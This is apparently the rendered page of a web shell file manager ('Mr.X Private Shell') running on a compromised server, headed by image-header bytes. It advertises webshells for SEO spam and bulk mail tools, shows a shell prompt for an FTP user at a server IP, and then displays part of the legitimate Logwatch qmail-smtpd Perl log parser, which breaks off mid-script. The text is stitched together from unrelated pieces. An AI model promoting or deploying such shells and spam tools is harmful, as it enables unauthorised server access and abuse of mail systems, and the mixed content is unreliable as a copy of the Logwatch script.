xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
##########################################################################
# $Id$
##########################################################################
# $Log: qmail-smtpd,v $
# Revision 1.10  2008/06/30 23:07:51  kirk
# fixed copyright holders for files where I know who they should be
#
# Revision 1.9  2008/03/24 23:31:26  kirk
# added copyright/license notice to each script
#
# Revision 1.8  2007/06/18 03:58:37  bjorn
# Changed to handle any mail port, by Bob Hutchinson.
#
# Revision 1.7  2007/01/29 19:09:51  bjorn
# Handle log entries from simscan v1.2 or later, and improved output report,
# by Bob Hutchinson.
#
# Revision 1.6  2005/12/17 15:45:42  bjorn
# Fixed error in rblsmtpd lines, by Bob Hutchinson
#
# Revision 1.5  2005/10/19 05:31:29  bjorn
# Fixes to report headings, by Bob Hutchinson
#
# Revision 1.4  2005/10/06 23:37:46  mike
# Added #vi tag -mgt
#
# Revision 1.3  2005/09/27 21:20:28  bjorn
# Quarantine support, by Bob Hutchinson
#
# Revision 1.2  2005/09/07 15:20:21  bjorn
# Added badmailfrom/badmailto, by Bob Hutchinson
#
# Revision 1.1  2005/09/07 00:37:59  bjorn
# New qmail multilog files written by Bob Hutchinson
#
##########################################################################

#######################################################
## Copyright (c) 2008 Bob Hutchinson
## Covered under the included MIT/X-Consortium License:
##    http://www.opensource.org/licenses/mit-license.php
## All modifications and contributions by other persons to
## this script are assumed to have been donated to the
## Logwatch project and thus assume the above copyright
## and licensing terms.  If you want to make contributions
## under your own copyright or a different license this
## must be explicitly stated in the contribution an the
## Logwatch project reserves the right to not accept such
## contributions.  If you have made significant
## contributions to this script and want to claim
## copyright please contact logwatch-devel@lists.sourceforge.net.
#########################################################

$Detail = $ENV{'LOGWATCH_DETAIL_LEVEL'};
$QmailDetail = $ENV{'qmail_high_detail'};
$QmailThreshold = ($ENV{'threshold'} ? $ENV{'threshold'} : 0 );
$ToThreshold = $ENV{'to_threshold'};
$FromThreshold = $ENV{'from_threshold'};
$BlockedThreshold = $ENV{'blocked_threshold'};
# simscan
$SimscanThreshold = $ENV{'simscan_threshold'};
$SimscanFromThreshold = $ENV{'simscan_from_threshold'};
$SimscanToThreshold = $ENV{'simscan_to_threshold'};
$SimscanAttachThreshold = $ENV{'simscan_attach_threshold'};
$SimscanRegexThreshold = $ENV{'simscan_regex_threshold'};

$ShowSimscanPassthru = $ENV{'show_simscan_passthru'};
$SimscanPassthruIpFromThreshold = $ENV{'simscan_passthru_ip_from_threshold'};
$SimscanPassthruFromThreshold = $ENV{'simscan_passthru_from_threshold'};
$SimscanPassthruToThreshold = $ENV{'simscan_passthru_to_threshold'};

$ShowSimscanSpamReject = $ENV{'show_simscan_spam_reject'};
$SimscanSpamRejectIpFromThreshold = $ENV{'simscan_spam_reject_ip_from_threshold'};
$SimscanSpamRejectFromThreshold = $ENV{'simscan_spam_reject_from_threshold'};
$SimscanSpamRejectToThreshold = $ENV{'simscan_spam_reject_to_threshold'};

$ShowSimscanSpamDropped = $ENV{'show_simscan_spam_dropped'};
$SimscanSpamDroppedIpFromThreshold = $ENV{'simscan_spam_dropped_ip_from_threshold'};
$SimscanSpamDroppedFromThreshold = $ENV{'simscan_spam_dropped_from_threshold'};
$SimscanSpamDroppedToThreshold = $ENV{'simscan_spam_dropped_to_threshold'};

# chkuser
$ShowChkuserRejects = $ENV{'show_chkuser_rejects'};
$ChkuserRejectsFromThreshold = $ENV{'chkuser_rejects_from_threshold'};
$ChkuserRejectsToThreshold = $ENV{'chkuser_rejects_to_threshold'};
$ChkuserRejectsRemoteThreshold = $ENV{'chkuser_rejects_remote_threshold'};
$ChkuserRejectsReasonThreshold = $ENV{'chkuser_rejects_reason_threshold'};

$ShowChkuserRejectsRelay = $ENV{'show_chkuser_rejects_relay'};
$ChkuserRejectsRelayFromThreshold = $ENV{'chkuser_rejects_relay_from_threshold'};
$ChkuserRejectsRelayToThreshold = $ENV{'chkuser_rejects_relay_to_threshold'};
$ChkuserRejectsRelayRemoteThreshold = $ENV{'chkuser_rejects_relay_remote_threshold'};

$ShowChkuserAccepts = $ENV{'show_chkuser_accepts'};
$ChkuserAcceptsFromThreshold = $ENV{'chkuser_accepts_from_threshold'};
$ChkuserAcceptsToThreshold = $ENV{'chkuser_accepts_to_threshold'};

$ShowChkuserAcceptsRelay = $ENV{'show_chkuser_accepts_relay'};
$ChkuserAcceptsRelayFromThreshold = $ENV{'chkuser_accepts_relay_from_threshold'};
$ChkuserAcceptsRelayToThreshold = $ENV{'chkuser_accepts_relay_to_threshold'};

$ShowChkuserOther = $ENV{'show_chkuser_other'};
$ChkuserNoAuthResourceThreshold = $ENV{'chkuser_noauthresource_threshold'};
$ChkuserOverquotaThreshold = $ENV{'chkuser_overquota_threshold'};
$ChkuserRejectedIntrusionThreshold = $ENV{'chkuser_rejected_intrusion_threshold'};

$ShowChkuserAcceptedSender = $ENV{'show_chkuser_accepted_sender'};
$ChkuserAcceptedSenderFromThreshold = $ENV{'chkuser_accepted_sender_from_threshold'};
$ChkuserAcceptedSenderRemoteThreshold = $ENV{'chkuser_accepted_sender_remote_threshold'};
$ChkuserAcceptedNullSenderFromThreshold = $ENV{'chkuser_accepted_null_sender_from_threshold'};

$ShowChkuserRejectedSender = $ENV{'show_chkuser_rejected_sender'};
$ChkuserRejectedSenderFromThreshold = $ENV{'chkuser_rejected_sender_from_threshold'};
$ChkuserRejectedSenderRemoteThreshold = $ENV{'chkuser_rejected_sender_remote_threshold'};
$ChkuserRejectedSenderReasonThreshold = $ENV{'chkuser_rejected_sender_reason_threshold'};

$BadMailToIpThreshold = $ENV{'badmailto_ip_threshold'};
$BadMailToEmailThreshold = $ENV{'badmailto_email_threshold'};
$BadMailFromIpThreshold = $ENV{'badmailfrom_ip_threshold'};
$BadMailFromEmailThreshold = $ENV{'badmailfrom_email_threshold'};

$IgnoreUnmatched = $ENV{'ignoreunmatched'};

while (defined($ThisLine = <STDIN>)) {
	if ( ( $ThisLine =~ /status: / )
		or ( $ThisLine =~ /end (\d+) status \d+/ )
		or ( $ThisLine =~ /simscan: Putting the message in quarantine/ )
		) {
		# We don't care about these
	}
	elsif ( ($pid1, $RemoteServer) = ( $ThisLine =~ /pid (\d+) from (.*)/ ) ) {
		$From{$RemoteServer}++;
		$TotalFrom++;
		$GrandTotalFrom++;
	}
	elsif ( ($pid2,$LocalServer,$rest) = ( $ThisLine =~ /ok (\d+) \d+:(.*):\d+\s+(.*)/ ) ) {
		$To{$LocalServer}++;
		$TotalTo++;
		$Total++;
		if ( $rest !~ /^\:/) {
			# we have a domain
			($d, $ip ) = ($rest =~ /^(.*):(.*)::\d+$/);
			$Domains{$ip} = $d;
		}
	}
	elsif ( ($Warning) = ( $ThisLine =~ /warning: (.*)/i ) ) {
		$Warnings{$Warning}++;
	}
	# rblsmtpd
	elsif ( ($Blocked, $rbl) = ( $ThisLine =~ /rblsmtpd: (.*) pid \d+: 451 (.*)$/ ) ) {
		$Blockeds{$Blocked}++;
		$TotalBlocked++;
		$Rbl{$Blocked} = $rbl;
		# remove it from previous parse
		if ( defined( $From{$Blocked} ) ) {
			$From{$Blocked}--;
			$TotalFrom--;
		}
	}
	# CHKUSER rejected rcpt
	elsif (($from,$remotedomain, $remote, $to, $reason) = ( $ThisLine =~ /CHKUSER rejected rcpt: from <(.*):.*:> remote <(.*):.*:(.*)> rcpt <(.*)> : (.*)/ )) {
		$ChkuserRejectsFrom{$from}++;
		$ChkuserRejectsRemote{$remote}++;
		$Domains{$remote} = $remotedomain if($remotedomain);
		$ChkuserRejectsTo{$to}++;
		$ChkuserRejectsReason{$reason}++;

		$TotalReject++;
		# remove it from previous parse
		if ( defined( $From{$from} ) ) {
			$From{$from}--;
			$TotalFrom--;
		}
	}
	# CHKUSER rejected relaying
	elsif (($from, $remotedomain, $remotedomain2, $remote, $to, $reason) = ( $ThisLine =~ /CHKUSER rejected relaying: from <(.*):.*:> remote <(.*):(.*):(.*)> rcpt <(.*)> : (.*)/ )) {
		$ChkuserRejectsRelayFrom{$from}++;
		$ChkuserRejectsRelayTo{$to}++;
		$ChkuserRejectsRelayRemote{$remote}++;
		if (! $Domains{$remote} ) {
			if ( $remotedomain2 && $remotedomain2 != 'unknown' ) {
				$Domains{$remote} = $remotedomain2;
			}
			elsif ( $remotedomain ) {
				$Domains{$remote} = $remotedomain;
			}
		}

		$ChkuserRejectsReason{$reason}++;

		$TotalRejectRelay++;
		# remove it from previous parse
		if ( defined( $From{$from} ) ) {
			$From{$from}--;
			$TotalFrom--;
		}
	}
	# CHKUSER accepted rcpt
	elsif (($from, $to) = ( $ThisLine =~ /CHKUSER accepted rcpt: from <(.*):.*:> .* rcpt <(.*)> : found existing recipient/ )) {
		$ChkuserAcceptsFrom{$from}++;
		$ChkuserAcceptsTo{$to}++;
		$TotalAccept++;
	}
	# CHKUSER relaying rcpt
	elsif (($from, $to) = ( $ThisLine =~ /CHKUSER relaying rcpt: from <(.*):.*:> .* rcpt <(.*)> : client allowed to relay/ )) {
		$ChkuserAcceptsRelayFrom{$from}++;
		$ChkuserAcceptsRelayTo{$to}++;
		$TotalAcceptRelay++;
	}
	# CHKUSER no auth resource
	elsif (($from, $to) = ( $ThisLine =~ /CHKUSER no auth resource: from <(.*):.*:> .* rcpt <(.*)> :/ )) {
		$ChkuserNoAuthResourceFrom{$from}++;
		$ChkuserNoAuthResourceTo{$to}++;
		$TotalNoAuthResource++;
		# remove it from previous parse
		if ( defined( $From{$from} ) ) {
			$From{$from}--;
			$TotalFrom--;
		}
	}
	# CHKUSER mbx overquota
	elsif (($from, $to) = ( $ThisLine =~ /CHKUSER mbx overquota: from <(.*):.*:> .* rcpt <(.*)> :/ )) {
		$ChkuserOverquotaTo{$to}++;
		$TotalOverquota++;
		# remove it from previous parse
		if ( defined( $From{$from} ) ) {
			$From{$from}--;
			$TotalFrom--;
		}
	}
	# CHKUSER rejected intrusion
	elsif (($from, $to) = ( $ThisLine =~ /CHKUSER rejected intrusion: from <(.*):.*:> .* rcpt <(.*)> :/ )) {
		$ChkuserRejectedIntrusionFrom{$from}++;
		$ChkuserRejectedIntrusionTo{$to}++;
		$TotalRejectedIntrusion++;
		# remove it from previous parse
		if ( defined( $From{$from} ) ) {
			$From{$from}--;
			$TotalFrom--;
		}
	}
	# CHKUSER accepted sender
	elsif (($from, $remote) = ( $ThisLine =~ /CHKUSER accepted sender: from <(.*):.*:> remote <.*:.*:(.*)> rcpt <>/ )) {
		$ChkuserAcceptedSenderFrom{$from}++;
		$ChkuserAcceptedSenderRemote{$remote}++;
	}
	# CHKUSER accepted null sender
	elsif (($remote) = ( $ThisLine =~ /CHKUSER accepted null sender: from <:.*:> remote <.*:.*:(.*)> rcpt <> : accepted null sender always/ )) {
		$ChkuserAcceptedNullSenderRemote{$remote}++;
	}

	# CHKUSER rejected sender
	elsif (($from, $remotedomain, $remotedomain2, $remote, $reason) = ( $ThisLine =~ /CHKUSER rejected sender: from <(.*):.*:> remote <(.*):(.*):(.*)> rcpt <> : (.*)/ )) {
		$ChkuserRejectedSenderFrom{$from}++;
		$ChkuserRejectedSenderRemote{$remote}++;
		if (! $Domains{$remote} ) {
			if ( $remotedomain2 && $remotedomain2 != 'unknown' ) {
				$Domains{$remote} = $remotedomain2;
			}
			elsif ( $remotedomain ) {
				$Domains{$remote} = $remotedomain;
			}
		}
		$ChkuserRejectedSenderReason{$reason}++;
	}

	# simscan-1.1 virus
	elsif ( ($virus, $virusfrom, $virusto, $scantime) = ($ThisLine =~ /simscan:.*virus: (.*) from: (.*) to: (.*) time: (.*)s/)) {
		$Simscan{$virus}++;
		$SimscanTotal++;
		$SimscanVirusTotal++;
		$SimscanFrom{$virusfrom}++;
		$SimscanTo{$virusto}++;
		if ($Maxscantimevirus < $scantime) {
			$Maxscantimevirus = $scantime;
		}
		$Totalscantimevirus += $scantime;
	}

	# simscan-1.2 virus
	elsif (
		(($scantime, $virus, $virusfrom, $virusto ) = ($ThisLine =~ /simscan:\[\d+\]:VIRUS:(.*)s:(.*):.*:(.*):(.*)/)) ||
		(($scantime, $virus, $virusfrom, $virusto ) = ($ThisLine =~ /simscan:\[\d+\]:VIRUS DROPPED:(.*)s:(.*):.*:(.*):(.*)/))
		) {
		$Simscan{$virus}++;
		$SimscanTotal++;
		$SimscanVirusTotal++;
		$SimscanFrom{$virusfrom}++;
		$SimscanTo{$virusto}++;
		if ($Maxscantimevirus < $scantime) {
			$Maxscantimevirus = $scantime;
		}
		$Totalscantimevirus += $scantime;
	}

	# simscan attach
	elsif ( ($attach, $attachfrom, $attachto, $scantime) = ($ThisLine =~ /simscan:.*invalid attachment: (.*) from: (.*) to: (.*) time: (.*)s/) ) {
		$SimscanTotal++;
		$SimscanAttach{$attach}++;
		$SimscanAttachFrom{$attachfrom}++;
		$SimscanAttachTo{$attachto}++;
		$SimscanAttachTotal++;
		if ($Maxscantimeattach < $scantime) {
			$Maxscantimeattach = $scantime;
		}
		$Totalscantimeattach += $scantime;
	}

	# simscan-1.2 attach
	elsif ( ($scantime, $attach, $attachfrom, $attachto ) = ($ThisLine =~ /simscan:\[\d+\]:ATTACH:(.*)s:(.*):.*:(.*):(.*)/)) {
		$SimscanTotal++;
		$SimscanAttach{$attach}++;
		$SimscanAttachFrom{$attachfrom}++;
		$SimscanAttachTo{$attachto}++;
		$SimscanAttachTotal++;
		if ($Maxscantimeattach < $scantime) {
			$Maxscantimeattach = $scantime;
		}
		$Totalscantimeattach += $scantime;
	}

	# simscan-1.2 regex
	elsif ( ($scantime, $regex, $regexfrom, $regexto ) = ($ThisLine =~ /simscan:\[\d+\]:REGEX:(.*)s:(.*):.*:(.*):(.*)/)) {
		$SimscanTotal++;
		$SimscanRegex{$regex}++;
		$SimscanRegexFrom{$regexfrom}++;
		$SimscanRegexTo{$regexto}++;
		$SimscanRegexTotal++;
		if ($Maxscantimeregex < $scantime) {
			$Maxscantimeregex = $scantime;
		}
		$Totalscantimeregex += $scantime;
	}

	# simscan-1.2 passthru
	elsif ( ($passthrulimits, $scantime, $passthruipfrom, $passthrufrom, $passthruto ) = ($ThisLine =~ /simscan:\[\d+\]:PASSTHRU \((.*)\):(.*)s:.*:(.*):(.*):(.*)/)) {
		$SimscanTotal++;
		($ptl1,$ptl2) = split(/\//, $passthrulimits);
		if( $ptl1 >= $ptl2 ) {
			$SimscanPassthruIpFrom{$passthruipfrom}++;
			$SimscanPassthruFrom{$passthrufrom}++;
			$SimscanPassthruTo{$passthruto}++;
			$SimscanPassthruTotal++;
		}
		if ($Maxscantimespam < $scantime) {
			$Maxscantimespam = $scantime;
		}
		$Totalscantimespam += $scantime;
	}

	# simscan-1.2 spam reject
	elsif ( ( $scantime, $spamrejectipfrom, $spamrejectfrom, $spamrejectto ) = ($ThisLine =~ /simscan:\[\d+\]:SPAM REJECT \(.*\):(.*)s:.*:(.*):(.*):(.*)/)) {
		$SimscanTotal++;
		$SimscanSpamrejectIpFrom{$spamrejectipfrom}++;
		$SimscanSpamrejectFrom{$spamrejectfrom}++;
		$SimscanSpamrejectTo{$spamrejectto}++;
		$SimscanSpamrejectTotal++;
		if ($Maxscantimespam < $scantime) {
			$Maxscantimespam = $scantime;
		}
		$Totalscantimespam += $scantime;
	}

	# simscan-1.2 spam dropped
	elsif ( ( $scantime, $spamdroppedipfrom, $spamdroppedfrom, $spamdroppedto ) = ($ThisLine =~ /simscan:\[\d+\]:SPAM DROPPED \(.*\):(.*)s:.*:(.*):(.*):(.*)/)) {
		$SimscanTotal++;
		$SimscanSpamdroppedIpFrom{$spamdroppedipfrom}++;
		$SimscanSpamdroppedFrom{$spamdroppedfrom}++;
		$SimscanSpamdroppedTo{$spamdroppedto}++;
		$SimscanSpamdroppedTotal++;
		if ($Maxscantimespam < $scantime) {
			$Maxscantimespam = $scantime;
		}
		$Totalscantimespam += $scantime;
	}

	# simscan-1.2 clean
	elsif ( ($scantime) = ($ThisLine =~ /simscan:\[\d+\]:CLEAN \(.*\):(.*)s:.*:.*:.*:.*/) ) {
		if ($Maxscantimespam < $scantime) {
			$Maxscantimespam = $scantime;
		}
		$Totalscantimespam += $scantime;
		$SimscanCleanTotal++;
	}

	# simscan-1.2 relayclient
	elsif ( ($scantime) = ($ThisLine =~ /simscan:\[\d+\]:RELAYCLIENT:(.*)s:.*:.*:.*:.*/) ) {
		if ($Maxscantimespam < $scantime) {
			$Maxscantimespam = $scantime;
		}
		$Totalscantimespam += $scantime;
		$SimscanRelayClientTotal++;
	}

	# simscan quarantine
	elsif ( $ThisLine =~ /simscan: Putting the message in quarantine/ ) {
		$Quarantine++;
	}

	# badmailfrom
	elsif ( ($email,$ip) = ($ThisLine =~ /qmail-smtpd: badmailfrom: (.*) at (.*)/) ) {
		$Badmailfromemail{$email}++;
		$Badmailfromip{$ip}++;
		$Badmailfromtot++;
	}

	# badmailto
	elsif ( ($email,$ip) = ($ThisLine =~ /qmail-smtpd: badmailto: (.*) at (.*)/) ) {
		$Badmailtoemail{$email}++;
		$Badmailtoip{$ip}++;
		$Badmailtotot++;
	}

	else {
		# Report any unmatched entries...
		$ThisLine =~ s/^\s+//g;
		$ThisLine =~ s/\s+$//g;
		if ( ! $IgnoreUnmatched && $ThisLine != "" ) {
			push @OtherList,$ThisLine;
		}
	}
}

if ($QmailDetail >= 1) {
	if (($FromThreshold < 0) or ($FromThreshold eq '')) {
		$FromThreshold = $QmailThreshold;
	}
	if (($ToThreshold < 0) or ($ToThreshold eq '')) {
		$ToThreshold = $QmailThreshold;
	}
	if (($BlockedThreshold < 0) or ($BlockedThreshold eq '')) {
		$BlockedThreshold = $QmailThreshold;
	}
	if (($SimscanThreshold < 0) or ($SimscanThreshold eq '')) {
		$SimscanThreshold = $QmailThreshold;
	}
	if (($SimscanFromThreshold < 0) or ($SimscanFromThreshold eq '')) {
		$SimscanFromThreshold = $QmailThreshold;
	}
	if (($SimscanToThreshold < 0) or ($SimscanToThreshold eq '')) {
		$SimscanToThreshold = $QmailThreshold;
	}
	if (($SimscanAttachThreshold < 0) or ($SimscanAttachThreshold eq '')) {
		$SimscanAttachThreshold = $QmailThreshold;
	}
	if (($SimscanRegexThreshold < 0) or ($SimscanRegexThreshold eq '')) {
		$SimscanRegexThreshold = $QmailThreshold;
	}
	if (($SimscanPassthruIpFromThreshold < 0) or ($SimscanPassthruIpFromThreshold eq '')) {
		$SimscanPassthruIpFromThreshold = $QmailThreshold;
	}
	if (($SimscanPassthruFromThreshold < 0) or ($SimscanPassthruFromThreshold eq '')) {
		$SimscanPassthruFromThreshold = $QmailThreshold;
	}
	if (($SimscanPassthruToThreshold < 0) or ($SimscanPassthruToThreshold eq '')) {
		$SimscanPassthruToThreshold = $QmailThreshold;
	}
	if (($SimscanSpamRejectIpFromThreshold < 0) or ($SimscanSpamRejectIpFromThreshold eq '')) {
		$SimscanSpamRejectIpFromThreshold = $QmailThreshold;
	}
	if (($SimscanSpamRejectFromThreshold < 0) or ($SimscanSpamRejectFromThreshold eq '')) {
		$SimscanSpamRejectFromThreshold = $QmailThreshold;
	}
	if (($SimscanSpamRejectToThreshold < 0) or ($SimscanSpamRejectToThreshold eq '')) {
		$SimscanSpamRejectToThreshold = $QmailThreshold;
	}
	if (($SimscanSpamDroppedIpFromThreshold < 0) or ($SimscanSpamDroppedIpFromThreshold eq '')) {
		$SimscanSpamDroppedIpFromThreshold = $QmailThreshold;
	}
	if (($SimscanSpamDroppedFromThreshold < 0) or ($SimscanSpamDroppedFromThreshold eq '')) {
		$SimscanSpamDroppedFromThreshold = $QmailThreshold;
	}
	if (($SimscanSpamDroppedToThreshold < 0) or ($SimscanSpamDroppedToThreshold eq '')) {
		$SimscanSpamDroppedToThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectsFromThreshold < 0) or ($ChkuserRejectsFromThreshold eq '')) {
		$ChkuserRejectsFromThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectsToThreshold < 0) or ($ChkuserRejectsToThreshold eq '')) {
		$ChkuserRejectsToThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectsRemoteThreshold < 0) or ($ChkuserRejectsRemoteThreshold eq '')) {
		$ChkuserRejectsRemoteThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectsRelayFromThreshold < 0) or ($ChkuserRejectsRelayFromThreshold eq '')) {
		$ChkuserRejectsRelayFromThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectsRelayToThreshold < 0) or ($ChkuserRejectsRelayToThreshold eq '')) {
		$ChkuserRejectsRelayToThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectsRelayRemoteThreshold < 0) or ($ChkuserRejectsRelayRemoteThreshold eq '')) {
		$ChkuserRejectsRelayRemoteThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectsReasonThreshold < 0) or ($ChkuserRejectsReasonThreshold eq '')) {
		$ChkuserRejectsReasonThreshold = $QmailThreshold;
	}
	if (($ChkuserAcceptsFromThreshold < 0) or ($ChkuserAcceptsFromThreshold eq '')) {
		$ChkuserAcceptsFromThreshold = $QmailThreshold;
	}
	if (($ChkuserAcceptsToThreshold < 0) or ($ChkuserAcceptsToThreshold eq '')) {
		$ChkuserAcceptsToThreshold = $QmailThreshold;
	}
	if (($ChkuserAcceptsRelayFromThreshold < 0) or ($ChkuserAcceptsRelayFromThreshold eq '')) {
		$ChkuserAcceptsRelayFromThreshold = $QmailThreshold;
	}
	if (($ChkuserAcceptsRelayToThreshold < 0) or ($ChkuserAcceptsRelayToThreshold eq '')) {
		$ChkuserAcceptsRelayToThreshold = $QmailThreshold;
	}
	if (($ChkuserNoAuthResourceThreshold < 0) or ($ChkuserNoAuthResourceThreshold eq '')) {
		$ChkuserNoAuthResourceThreshold = $QmailThreshold;
	}
	if (($ChkuserOverquotaThreshold < 0) or ($ChkuserOverquotaThreshold eq '')) {
		$ChkuserOverquotaThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectedIntrusionThreshold <0) or ($ChkuserRejectedIntrusionThreshold eq '')) {
		$ChkuserRejectedIntrusionThreshold = $QmailThreshold;
	}
	if (($ChkuserAcceptedSenderFromThreshold <0) or ($ChkuserAcceptedSenderFromThreshold eq '')) {
		$ChkuserAcceptedSenderFromThreshold = $QmailThreshold;
	}
	if (($ChkuserAcceptedSenderRemoteThreshold <0) or ($ChkuserAcceptedSenderRemoteThreshold eq '')) {
		$ChkuserAcceptedSenderRemoteThreshold = $QmailThreshold;
	}
	if (($ChkuserAcceptedNullSenderFromThreshold <0) or ($ChkuserAcceptedNullSenderFromThreshold eq '')) {
		$ChkuserAcceptedNullSenderFromThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectedSenderFromThreshold <0) or ($ChkuserRejectedSenderFromThreshold eq '')) {
		$ChkuserRejectedSenderFromThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectedSenderRemoteThreshold <0) or ($ChkuserRejectedSenderRemoteThreshold eq '')) {
		$ChkuserRejectedSenderRemoteThreshold = $QmailThreshold;
	}
	if (($ChkuserRejectedSenderReasonThreshold <0) or ($ChkuserRejectedSenderReasonThreshold eq '')) {
		$ChkuserRejectedSenderReasonThreshold = $QmailThreshold;
	}
	if (($BadMailToIpThreshold <0) or ($BadMailToIpThreshold eq '')) {
		$BadMailToIpThreshold = $QmailThreshold;
	}
	if (($BadMailToEmailThreshold <0) or ($BadMailToEmailThreshold eq '')) {
		$BadMailToEmailThreshold = $QmailThreshold;
	}
	if (($BadMailFromIpThreshold <0) or ($BadMailFromIpThreshold eq '')) {
		$BadMailFromIpThreshold = $QmailThreshold;
	}
	if (($BadMailFromEmailThreshold <0) or ($BadMailFromEmailThreshold eq '')) {
		$BadMailFromEmailThreshold = $QmailThreshold;
	}

	# start output
	if ( (keys %From) ) {
		print "\nConnections from (Threshold of " . $FromThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$From{$b} <=> $From{$a}} keys %From) {
			if ($From{$Line} >= $FromThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $From{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $From{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	if ( (keys %To) ) {
		print "\nConnections to (Threshold of " . $ToThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$To{$b} <=> $To{$a}} keys %To) {
			if ($To{$Line} >= $ToThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $To{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $To{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	if ( (keys %Blockeds) ) {
		print "\nBlocked (Threshold of " . $BlockedThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$Blockeds{$b} <=> $Blockeds{$a}} keys %Blockeds) {
			if ($Blockeds{$Line} >= $BlockedThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $Blockeds{$Line} . " Time(s)" . ($Rbl{$Line} ? " By ".$Rbl{$Line} : "") . "\n";
				}
				else {
					print "\t" . $Line . " - ". $Blockeds{$Line} . " Time(s)" . ($Rbl{$Line} ? " By ".$Rbl{$Line} : "") . "\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# chkuser
	if ( $ShowChkuserRejects ) {
		if ( (keys %ChkuserRejectsFrom) ) {
			print "\nChkuser Rejects From (Threshold of " . $ChkuserRejectsFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectsFrom{$b} <=> $ChkuserRejectsFrom{$a}} keys %ChkuserRejectsFrom) {
				if ($ChkuserRejectsFrom{$Line} >= $ChkuserRejectsFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectsFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectsFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserRejectsTo) ) {
			print "\nChkuser Rejects To (Threshold of " . $ChkuserRejectsToThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectsTo{$b} <=> $ChkuserRejectsTo{$a}} keys %ChkuserRejectsTo) {
				if ($ChkuserRejectsTo{$Line} >= $ChkuserRejectsToThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectsTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectsTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserRejectsRemote) ) {
			print "\nChkuser Rejects Remote (Threshold of " . $ChkuserRejectsRemoteThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectsRemote{$b} <=> $ChkuserRejectsRemote{$a}} keys %ChkuserRejectsRemote) {
				if ($ChkuserRejectsRemote{$Line} >= $ChkuserRejectsRemoteThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectsRemote{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectsRemote{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	if ( $ShowChkuserRejectsRelay ) {
		if ( (keys %ChkuserRejectsRelayFrom) ) {
			print "\nChkuser Rejects Relay From (Threshold of " . $ChkuserRejectsRelayFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectsRelayFrom{$b} <=> $ChkuserRejectsRelayFrom{$a}} keys %ChkuserRejectsRelayFrom) {
				if ($ChkuserRejectsRelayFrom{$Line} >= $ChkuserRejectsRelayFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectsRelayFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectsRelayFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserRejectsRelayTo) ) {
			print "\nChkuser Rejects Relay To (Threshold of " . $ChkuserRejectsRelayToThreshold . "):\n";
			$threshold_reached=0;
